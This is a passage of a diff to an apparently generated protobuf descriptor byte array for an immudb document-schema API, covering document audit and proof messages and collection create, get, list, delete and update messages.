0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, - 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, - 0x67, 0x65, 0x22, 0x57, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, - 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x07, 0x72, - 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, - 0x69, 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x22, 0x86, 0x01, 0x0a, 0x0d, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x24, 0x0a, - 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x12, - 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x5f, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, - 0x69, 0x6f, 0x6e, 0x12, 0x34, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0e, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, - 0x79, 0x70, 0x65, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x69, 0x73, 0x55, - 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x69, 0x73, 0x55, - 0x6e, 0x69, 0x71, 0x75, 0x65, 0x22, 0xec, 0x01, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5b, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, - 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, - 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, - 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, - 0x79, 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, - 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xe8, - 0x01, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, - 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x59, 0x0a, 0x09, - 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x3b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x49, 0x6e, - 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, - 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, - 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x65, 0x0a, 0x15, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, - 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x22, 0x2a, 0x0a, 0x14, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, - 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x17, 0x0a, 0x15, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x68, 0x0a, 0x16, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, - 0x4e, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, - 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, - 0x2d, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, - 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, - 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x1a, - 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, - 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x96, 0x02, 0x0a, 0x17, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5e, 0x0a, 0x0a, 0x61, 0x64, - 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3e, + 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x38, 0x0a, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, + 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x17, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x53, 0x69, 0x6e, 0x63, + 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x22, 0xc4, + 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x28, 0x0a, 0x0f, 0x65, 0x6e, 0x63, 0x6f, + 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x0c, 0x52, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x12, 0x41, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, + 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x84, 0x01, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, + 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, + 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x12, + 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, + 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0x57, 0x0a, 0x15, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, + 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x07, 0x72, 0x65, + 0x73, 0x75, 0x6c, 0x74, 0x73, 0x22, 0x86, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, + 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, + 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1a, 0x0a, + 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, + 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, + 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, + 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x5f, + 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x34, 0x0a, + 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x74, + 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x22, + 0xec, 0x01, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, + 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, + 0x5b, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x3d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x60, 0x0a, 0x0e, + 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, + 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, + 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, + 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, + 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, + 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x41, - 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, - 0x61, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, - 0x6d, 0x6f, 0x76, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, - 0x09, 0x52, 0x0d, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, - 0x1a, 0x61, 0x0a, 0x0f, 0x41, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x45, 0x6e, + 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xe8, 0x01, 0x0a, 0x15, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x59, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, + 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, + 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, + 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, + 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 